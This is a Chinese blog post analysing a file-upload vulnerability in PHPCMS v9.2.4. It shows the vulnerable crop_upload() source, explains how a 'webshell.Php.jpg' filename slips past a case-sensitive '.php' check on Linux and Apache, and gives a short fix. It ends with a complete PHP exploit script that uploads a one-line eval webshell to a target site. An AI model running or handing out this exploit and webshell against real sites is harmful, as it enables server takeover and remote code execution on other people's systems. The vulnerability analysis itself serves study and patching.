您的位置 首页 php

PHPCMS v9.2.4文件上传漏洞分析「附Exploit」

phpcms版本:v9.2.4

利用条件:由于文件上传利用了 Apache 解析漏洞,因此只适用于Linux + Apache网站,Windows下的Apache似乎不存在解析漏洞

1、攻击演示

(1)本地搭建phpcms v9.2.4环境

(2)随便访问一个页面,用burp suite抓住这个数据包,修改抓住的http数据包如下图所示:

要注意的几点如下:

1、一定要是POST请求

2、URL中的“m、c、a”这三个参数一定要设置成如图所示

3、URL中的file参数是” webshell .Php.jpg”的URL编码形式,

其中””是攻击对象的网址,你可以根据需要修改

4、Content-Type字段不能设置成application/x-www-form-urlencoded,要设置成错误的格式,在这里我随便写了个xss

(3)然后forward这个数据包就在网站根目录下的/uploadfile目录生成了webshell.Php.jpg文件

2、漏洞分析

(1)漏洞发生在/phpcms/modules/attachment/attachments.php文件的crop_upload()方法中

  1. public function crop_upload() {
  2. if (isset($GLOBALS[“HTTP_RAW_POST_DATA”])) {
  3. $pic = $GLOBALS[“HTTP_RAW_POST_DATA”];
  4. if (isset($_GET[‘width’]) && !empty($_GET[‘width’])) {
  5. $width = intval($_GET[‘width’]);
  6. }
  7. if (isset($_GET[‘height’]) && !empty($_GET[‘height’])) {
  8. $height = intval($_GET[‘height’]);
  9. }
  10. if (isset($_GET[‘file’]) && !empty($_GET[‘file’])) {
  11. $_GET[‘file’] = str_replace(‘;’,”,$_GET[‘file’]);
  12. if(is_image($_GET[‘file’])== false || strpos($_GET[‘file’],’.php’)!==false) exit();
  13. if (strpos($_GET[‘file’], pc_base::load_config(‘system’, ‘upload_url’))!==false) {
  14. $file = $_GET[‘file’];
  15. $basename = basename($file);
  16. if (strpos($basename, ‘thumb_’)!==false) {
  17. $file_arr = explode(‘_’, $basename);
  18. $basename = array_pop($file_arr);
  19. }
  20. $new_file = ‘thumb_’.$width.’_’.$height.’_’.$basename;
  21. } else {
  22. pc_base::load_sys_class(‘attachment’,”,0);
  23. $module = trim($_GET[‘module’]);
  24. $catid = intval($_GET[‘catid’]);
  25. $siteid = $this->get_siteid();
  26. $attachment = new attachment($module, $catid, $siteid);
  27. $uploadedfile[‘filename’] = basename($_GET[‘file’]);
  28. $uploadedfile[‘fileext’] = fileext($_GET[‘file’]);
  29. if (in_array($uploadedfile[‘fileext’], array(‘ jpg ‘, ‘gif’, ‘jpeg’, ‘png’, ‘bmp’))) {
  30. $uploadedfile[‘isimage’] = 1;
  31. }
  32. $file_path = $this->upload_path.date(‘Y/md/’);
  33. pc_base::load_sys_func(‘dir’);
  34. dir_create($file_path);
  35. $new_file = date(‘Ymdhis’).rand(100, 999).’.’.$uploadedfile[‘fileext’];
  36. $uploadedfile[‘filepath’] = date(‘Y/md/’).$new_file;
  37. $aid = $attachment->add($uploadedfile);
  38. }
  39. $filepath = date(‘Y/md/’);
  40. file_put_contents($this->upload_path.$filepath.$new_file, $pic);
  41. } else {
  42. return false;
  43. }
  44. echo pc_base::load_config(‘system’, ‘upload_url’).$filepath.$new_file;
  45. exit;
  46. }
  47. }

这个方法对文件的扩展名检测时采用如下代码:

if(is_image($_GET[‘file’])== false || strpos($_GET[‘file’],’.php’) !== false) exit();

它先调用is_image()函数检测文件是否是图片,这个函数是作者自定义的函数,具体内容请参考phpcms源码,这个函数是通过后缀名白名单来检测的,所以我们把”.jpg”添加到最后,让它通过检测;同时它又调用strpos()函数检测文件名中是否含有”.php” 字符串 ,但这个函数是区分大小写的,我们把文件名设置成”.Php”它就认为不包含”.php”字符串;

经过前面两步,我们的文件名”webshell.Php.jpg”成为了合法的文件名。

(2)检测完文件名后,作者进行了一次if()条件判断:

if (strpos($_GET[‘file’], pc_base::load_config(‘system’, ‘upload_url’))!==false)

这条语句的意思是:如果$_GET[‘file’]参数中包含uploadfile目录,则进入if()代码段,否则进入else代码段。

在这里我让它进入了if()代码段,这就是为什么URL中的file参数要包含””的原因。

(3)进入if()代码段后,进行的是文件名单拼接工作,直接给原文件名加前缀,没有任何检测,于是乎我们顺利逃过了作者的文件检测。

(4)最后,作者用file_put_contents()函数把POST传输的数据写入到文件中。在这里要注意:

$pic变量的值来源于$GLOBALS[“HTTP_RAW_POST_DATA”],

这个$GLOBALS[“HTTP_RAW_POST_DATA”]变量只有在Content-Type字段的值不能被识别时才会出现,

因此我们要把http请求的Content-Type字段设置成不可识别的格式。

3、防御策略

在写入文件之前用stripos()函数再次检测文件名中是否含有”.php”字符串,如果有就退出执行,如果没有就继续执行。

4、 Exploit

  1. <?php
  2. /*
  3. PHPCMS 9.2.4文件上传漏洞Exploit
  4. 利用条件: 文件上传利用了Apa ch e解析漏洞,因此只适用于Linux + Apache网站
  5. Date: 2017-06-06
  6. */
  7. set_time_limit(0);
  8. function exploit($host) {
  9. $host = trim($host);
  10. $url = ‘/index.php?m=attachment&c=attachments&a=crop_upload&file=’ . urlencode($host . ‘/uploadfile/webshell.Php.jpg’);
  11. $payload = ‘<?php eval($_REQUEST[\’mysq1\’]);?>’;
  12. $length = strlen($payload);
  13. $ch = curl_init($host . $url);
  14. curl_setopt($ch, CURLOPT_POST, true);
  15. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  16. curl_setopt($ch, CURLOPT_HTTPHEADER, array(‘Content-Type: xss’,”Content-Length: $length”));
  17. curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
  18. $response = curl_exec($ch);
  19. curl_close($ch);
  20. echo $response;
  21. }
  22. // 目标网站地址(注意:网址的结尾不能有斜线”/”)
  23. $host = ‘
  24. exploit($host);
  25. exit();
  26. ?>

文章来源:智云一二三科技

文章标题:PHPCMS v9.2.4文件上传漏洞分析「附Exploit」

文章地址:https://www.zhihuclub.com/151281.shtml

关于作者: 智云科技

热门文章

网站地图